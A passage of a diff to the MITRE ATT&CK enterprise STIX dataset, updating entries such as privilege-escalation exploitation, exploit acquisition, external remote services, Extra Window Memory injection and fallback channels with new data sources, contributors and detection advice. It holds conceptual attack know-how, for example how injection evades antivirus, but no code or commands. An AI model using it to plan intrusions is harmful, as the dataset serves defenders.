methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).", "name": "Exploitation for Privilege Escalation", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", - "x_mitre_version": "1.2", - "x_mitre_data_sources": [ - "Windows Error Reporting", - "Process monitoring", - "Application logs" + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } ], - "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.", + "modified": "2021-04-22T16:13:34.896Z", + "created": "2017-05-31T21:30:55.066Z", + "x_mitre_contributors": [ + "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", + "Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security", + "Idan Revivo, @idanr86, Team Nautilus Aqua Security" + ], + "x_mitre_version": "1.3", + "x_mitre_data_sources": [ + "Driver: Driver Load" + ], + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.", "x_mitre_effective_permissions": [ "User" ], @@ -12587,20 +13500,12 @@ "x_mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Containers" ], "x_mitre_is_subtechnique": false }, { - "created": "2018-04-18T17:59:24.739Z", - "modified": "2020-02-04T20:14:11.064Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "type": "attack-pattern", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -12635,12 +13540,23 @@ "name": "Exploitation of Remote Services", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "modified": "2021-04-22T20:23:01.478Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_contributors": [ + "ExtraHop" + ], "x_mitre_version": "1.1", "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", "x_mitre_data_sources": [ - "Windows Error Reporting", - "Process monitoring", - "File monitoring" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" ], "x_mitre_permissions_required": [ "User" @@ -12656,6 +13572,22 @@ "x_mitre_is_subtechnique": false }, { + "created": "2020-10-01T01:48:15.511Z", + "modified": "2021-04-15T03:07:53.803Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2", + "description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "name": "Exploits", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -12673,28 +13605,12 @@ "description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Exploits", - "description": "Before compromising a victim, adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", - "id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "resource-development" - } - ], - "modified": "2020-10-19T03:09:34.771Z", - "created": "2020-10-01T01:48:15.511Z", - "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" - ] + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004))." }, { "external_references": [ @@ -12734,7 +13650,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Exploits", - "description": "Before compromising a victim, adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636", "type": "attack-pattern", "kill_chain_phases": [ @@ -12743,7 +13659,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-18T21:47:09.385Z", + "modified": "2021-04-15T03:14:01.255Z", "created": "2020-10-01T02:17:46.086Z", "x_mitre_detection": "\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "x_mitre_version": "1.0", @@ -12794,26 +13710,25 @@ "phase_name": "impact" } ], - "modified": "2020-04-22T15:19:31.380Z", + "modified": "2021-03-08T10:33:01.745Z", "created": "2020-02-20T14:34:08.496Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_impact_type": [ "Integrity" ], "x_mitre_detection": "Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", "x_mitre_data_sources": [ - "Web logs", - "Web application firewall logs", - "Packet capture" + "File: File Modification", + "File: File Creation", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ - "Linux", - "macOS", "Windows", - "AWS", - "GCP", - "Azure" + "IaaS", + "Linux", + "macOS" ] }, { @@ -12856,11 +13771,9 @@ "Windows" ], "x_mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Network protocol analysis", - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": true, @@ -12870,7 +13783,7 @@ "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "External Remote Services", - "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.", + "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)", "external_references": [ { "source_name": "mitre-attack", @@ -12886,6 +13799,16 @@ "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/", "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", "source_name": "Volexity Virtual Private Keylogging" + }, + { + "source_name": "Trend Micro Exposed Docker Server", + "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html", + "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021." + }, + { + "source_name": "Unit 42 Hildegard Malware", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021." } ], "object_marking_refs": [ @@ -12902,25 +13825,40 @@ "phase_name": "initial-access" } ], - "modified": "2020-06-19T20:07:09.600Z", + "modified": "2021-04-22T20:22:02.443Z", "created": "2017-05-31T21:31:44.421Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", - "Linux" + "Linux", + "Containers" ], "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.", + "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.", "x_mitre_data_sources": [ - "Authentication logs" + "Application Log: Application Log Content", + "Logon Session: Logon Session Metadata", + "Network Traffic: Network Traffic Flow" ], "x_mitre_contributors": [ + "ExtraHop", + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Idan Frimark, Cisco", + "Rory McCune, Aqua Security", + "Yuval Avrahami, Palo Alto Networks", + "Jay Chen, Palo Alto Networks", + "Brad Geesaman, @bradgeesaman", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", "Daniel Oakley", "Travis Smith, Tripwire" ], - "x_mitre_version": "2.1" + "x_mitre_version": "2.2" }, { "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", @@ -12949,7 +13887,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", @@ -12969,7 +13907,7 @@ ], "revoked": true, "type": "attack-pattern", - "modified": "2020-01-14T17:23:05.736Z", + "modified": "2020-11-10T18:29:30.479Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -12997,7 +13935,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", @@ -13020,7 +13958,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Extra Window Memory Injection", - "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ", "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298", "type": "attack-pattern", "kill_chain_phases": [ @@ -13033,16 +13971,15 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-06-20T22:26:33.191Z", + "modified": "2020-11-10T18:29:31.004Z", "created": "2020-01-14T17:18:32.126Z", "x_mitre_defense_bypassed": [ "Anti-virus", "Application control" ], - "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Endgame Process Injection July 2017)", + "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)", "x_mitre_data_sources": [ - "Process monitoring", - "API monitoring" + "Process: OS API Execution" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -13051,9 +13988,19 @@ ] }, { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2017-05-31T21:30:21.689Z", + "modified": "2020-07-14T19:49:47.340Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } ], + "type": "attack-pattern", + "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Fallback Channels", + "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", "external_references": [ { "source_name": "mitre-attack", @@ -13066,35 +14013,22 @@ "source_name": "University of Birmingham C2" } ], - "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", - "name": "Fallback Channels", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-07-14T19:49:47.340Z", - "created": "2017-05-31T21:30:21.689Z", - "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.0", - "x_mitre_data_sources": [ - "Malware reverse engineering", - "Netflow/Enclave netflow", - "Packet capture", - "Process monitoring", - "Process use of network" - ], - "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", - "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "Windows", "macOS" - ] + ], + "x_mitre_network_requirements": true, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": false }, { "external_references": [ @@ -13139,7 +14073,8 @@ "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_data_sources": [ - "DNS records" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation" ], "x_mitre_platforms": [ "Linux", @@ -13209,9 +14144,8 @@ ], "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", "x_mitre_data_sources": [ - "Binary file metadata", - "Process command-line parameters", - "File monitoring" + "File: File Deletion", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -13250,6 +14184,22 @@ "created": "2017-05-31T21:30:43.063Z" }, { + "created": "2020-03-15T16:16:25.763Z", + "modified": "2020-08-21T14:41:22.911Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "name": "File Transfer Protocols", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -13262,37 +14212,18 @@ "source_name": "University of Birmingham C2" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "File Transfer Protocols", - "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", - "id": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "modified": "2020-08-21T14:41:22.911Z", - "created": "2020-03-15T16:16:25.763Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the 